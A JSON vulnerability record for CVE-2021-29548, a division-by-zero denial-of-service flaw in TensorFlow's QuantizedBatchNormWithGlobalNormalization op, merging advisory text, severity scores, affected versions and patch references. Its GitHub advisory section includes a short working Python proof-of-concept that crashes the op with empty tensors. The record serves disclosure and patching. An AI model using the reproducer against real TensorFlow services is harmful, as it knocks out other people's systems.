{"id":"CVE-2021-29548","aliases":["CVE-2021-29548","GHSA-p45v-v4pw-77jr","BIT-TENSORFLOW-2021-29548","PYSEC-2021-185","PYSEC-2021-476","PYSEC-2021-674"],"related":[],"kind":"vulnerability","state":"published","title":"Division by 0 in `QuantizedBatchNormWithGlobalNormalization`","summary":"TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) does not validate all constraints specified in the op's contract(https://www.tensorflow.org/api_docs/python/tf/raw_ops/QuantizedBatchNormWithGlobalNormalization). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) does not validate all constraints specified in the op's contract(https://www.tensorflow.org/api_docs/python/tf/raw_ops/QuantizedBatchNormWithGlobalNormalization). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.","source":"cvelist"},{"lang":"en","text":"### Impact\nAn attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:\n\n```python\nimport tensorflow as tf\n\nt = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)\nt_min = tf.constant(-10.0, dtype=tf.float32)\nt_max = tf.constant(-10.0, dtype=tf.float32)\nm = tf.constant([], shape=[0], dtype=tf.quint8)\nm_min = tf.constant(-10.0, dtype=tf.float32)\nm_max = tf.constant(-10.0, dtype=tf.float32)\nv = tf.constant([], shape=[0], dtype=tf.quint8)\nv_min = tf.constant(-10.0, dtype=tf.float32)\nv_max = tf.constant(-10.0, dtype=tf.float32)\nbeta = tf.constant([], shape=[0], dtype=tf.quint8)\nbeta_min = tf.constant(-10.0, dtype=tf.float32)\nbeta_max = tf.constant(-10.0, dtype=tf.float32)\ngamma = tf.constant([], shape=[0], dtype=tf.quint8)\ngamma_min = tf.constant(-10.0, dtype=tf.float32)\ngamma_max = tf.constant(-10.0, dtype=tf.float32)\n\ntf.raw_ops.QuantizedBatchNormWithGlobalNormalization(\n  t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,\n  v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,\n  beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,\n  gamma_max=gamma_max, out_type=tf.qint32,\n  variance_epsilon=0.1, scale_after_normalization=True)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) does not validate all constraints specified in the [op's contract](https://www.tensorflow.org/api_docs/python/tf/raw_ops/QuantizedBatchNormWithGlobalNormalization).\n\n### Patches \nWe have patched the issue in GitHub commit [d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team","format":"markdown","source":"ghsa"},{"lang":"es","text":"TensorFlow es una plataforma de código abierto de extremo a extremo para el aprendizaje automático.&#xa0;Un atacante puede causar una división del tiempo de ejecución por error cero y denegación de servicio en \"tf.raw_ops.QuantizedBatchNormWithGlobalNormalization\".&#xa0;Esto es debido a que la implementación (https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) no comprueba todas las restricciones especificadas en el contrato de la operación (https: //www.tensorflow .org/api_docs/python/tf/raw_ops/QuantizedBatchNormWithGlobalNormalization).&#xa0;La corrección será incluída en TensorFlow versión 2.5.0.&#xa0;También seleccionaremos este commit en TensorFlow versión 2.4.2, TensorFlow versión 2.3.3, TensorFlow versión 2.2.3 y TensorFlow versión 2.1.4, ya que estos también están afectados y aún están en el rango admitido","source":"nvd"}],"published":"2021-05-14T19:10:46.000Z","modified":"2026-09-08T08:48:10.754Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L","score":2.5,"rating":"LOW"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L","score":2.5,"rating":"LOW"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L","score":2.5,"rating":"LOW"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","rating":"LOW"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":5.5,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:L/AC:L/Au:N/C:N/I:N/A:P","score":2.1,"rating":"LOW"},{"scorer":"Bitnami Vulnerability Database","scheme":"rating","rating":"MEDIUM"}],"cwes":["CWE-369"],"affected":[{"ranges":[{"version":"< 2.1.4","status":"affected"},{"version":">= 2.2.0, < 2.2.3","status":"affected"},{"version":">= 2.3.0, < 2.3.3","status":"affected"},{"version":">= 2.4.0, < 2.4.2","status":"affected"}],"vendor":"tensorflow","product":"tensorflow","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.1.4"}],"ecosystem":"PyPI","package":"tensorflow","purl":"pkg:pypi/tensorflow","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.2.0","status":"affected","fixed":"2.2.3"}],"ecosystem":"PyPI","package":"tensorflow","purl":"pkg:pypi/tensorflow","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.3.0","status":"affected","fixed":"2.3.3"}],"ecosystem":"PyPI","package":"tensorflow","purl":"pkg:pypi/tensorflow","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.4.0","status":"affected","fixed":"2.4.2"}],"ecosystem":"PyPI","package":"tensorflow","purl":"pkg:pypi/tensorflow","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.1.4"}],"ecosystem":"PyPI","package":"tensorflow-cpu","purl":"pkg:pypi/tensorflow-cpu","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.2.0","status":"affected","fixed":"2.2.3"}],"ecosystem":"PyPI","package":"tensorflow-cpu","purl":"pkg:pypi/tensorflow-cpu","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.3.0","status":"affected","fixed":"2.3.3"}],"ecosystem":"PyPI","package":"tensorflow-cpu","purl":"pkg:pypi/tensorflow-cpu","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.4.0","status":"affected","fixed":"2.4.2"}],"ecosystem":"PyPI","package":"tensorflow-cpu","purl":"pkg:pypi/tensorflow-cpu","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.1.4"}],"ecosystem":"PyPI","package":"tensorflow-gpu","purl":"pkg:pypi/tensorflow-gpu","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.2.0","status":"affected","fixed":"2.2.3"}],"ecosystem":"PyPI","package":"tensorflow-gpu","purl":"pkg:pypi/tensorflow-gpu","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.3.0","status":"affected","fixed":"2.3.3"}],"ecosystem":"PyPI","package":"tensorflow-gpu","purl":"pkg:pypi/tensorflow-gpu","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.4.0","status":"affected","fixed":"2.4.2"}],"ecosystem":"PyPI","package":"tensorflow-gpu","purl":"pkg:pypi/tensorflow-gpu","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2.1.4"},{"status":"affected","introduced":"2.2.0","fixed":"2.2.3"},{"status":"affected","introduced":"2.3.0","fixed":"2.3.3"},{"status":"affected","introduced":"2.4.0","fixed":"2.4.2"}],"vendor":"google","product":"tensorflow","cpe":"cpe:2.3:a:google:tensorflow:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"git","introduced":"0","status":"affected","fixed":"d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b"},{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.1.4"},{"type":"ecosystem","introduced":"2.2.0","status":"affected","fixed":"2.2.3"},{"type":"ecosystem","introduced":"2.3.0","status":"affected","fixed":"2.3.3"},{"type":"ecosystem","introduced":"2.4.0","status":"affected","fixed":"2.4.2"}],"ecosystem":"PyPI","package":"tensorflow","purl":"pkg:pypi/tensorflow","repo":"https://github.com/tensorflow/tensorflow","source":"pysec"},{"ranges":[{"type":"git","introduced":"0","status":"affected","fixed":"d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b"},{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.1.4"},{"type":"ecosystem","introduced":"2.2.0","status":"affected","fixed":"2.2.3"},{"type":"ecosystem","introduced":"2.3.0","status":"affected","fixed":"2.3.3"},{"type":"ecosystem","introduced":"2.4.0","status":"affected","fixed":"2.4.2"}],"ecosystem":"PyPI","package":"tensorflow-cpu","purl":"pkg:pypi/tensorflow-cpu","repo":"https://github.com/tensorflow/tensorflow","source":"pysec"},{"ranges":[{"type":"git","introduced":"0","status":"affected","fixed":"d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b"},{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.1.4"},{"type":"ecosystem","introduced":"2.2.0","status":"affected","fixed":"2.2.3"},{"type":"ecosystem","introduced":"2.3.0","status":"affected","fixed":"2.3.3"},{"type":"ecosystem","introduced":"2.4.0","status":"affected","fixed":"2.4.2"}],"ecosystem":"PyPI","package":"tensorflow-gpu","purl":"pkg:pypi/tensorflow-gpu","repo":"https://github.com/tensorflow/tensorflow","source":"pysec"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.1.4"},{"type":"semver","introduced":"2.2.0","status":"affected","fixed":"2.2.3"},{"type":"semver","introduced":"2.3.0","status":"affected","fixed":"2.3.3"},{"type":"semver","introduced":"2.4.0","status":"affected","fixed":"2.4.2"}],"ecosystem":"Bitnami","package":"tensorflow","purl":"pkg:bitnami/tensorflow","source":"bitnami"}],"references":[{"url":"https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p45v-v4pw-77jr","tags":["advisory","exploit","patch","third-party-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec","bitnami"]},{"url":"https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b","tags":["advisory","fix","patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec","bitnami"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-29548","tags":["advisory","web"],"sources":["ghsa","bitnami"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-476.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-674.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-185.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/tensorflow/tensorflow","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2021-29548","url":"https://www.cve.org/CVERecord?id=CVE-2021-29548","licence":"CVE Terms of Use","modified":"2024-08-03T22:11:05.702Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-p45v-v4pw-77jr","url":"https://github.com/advisories/GHSA-p45v-v4pw-77jr","licence":"CC-BY-4.0","modified":"2026-07-08T06:29:25.605Z"},{"source":"nvd","name":"NVD","id":"CVE-2021-29548","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-29548","licence":"Public domain","modified":"2026-06-17T03:47:53.220Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2021-185","url":"https://osv.dev/vulnerability/PYSEC-2021-185","licence":"CC-BY-4.0","modified":"2023-12-06T01:01:05.383Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2021-476","url":"https://osv.dev/vulnerability/PYSEC-2021-476","licence":"CC-BY-4.0","modified":"2023-12-06T01:01:05.383Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2021-674","url":"https://osv.dev/vulnerability/PYSEC-2021-674","licence":"CC-BY-4.0","modified":"2023-12-06T01:01:05.383Z"},{"source":"bitnami","name":"Bitnami Vulnerability Database","id":"BIT-TENSORFLOW-2021-29548","url":"https://osv.dev/vulnerability/BIT-TENSORFLOW-2021-29548","licence":"Apache-2.0","modified":"2026-09-08T08:48:10.754Z"}],"updatedAt":"2026-11-25T22:58:01.378Z","epss":{"score":0.00189,"percentile":0.0894,"date":"2026-12-01T12:00:22.000Z"}}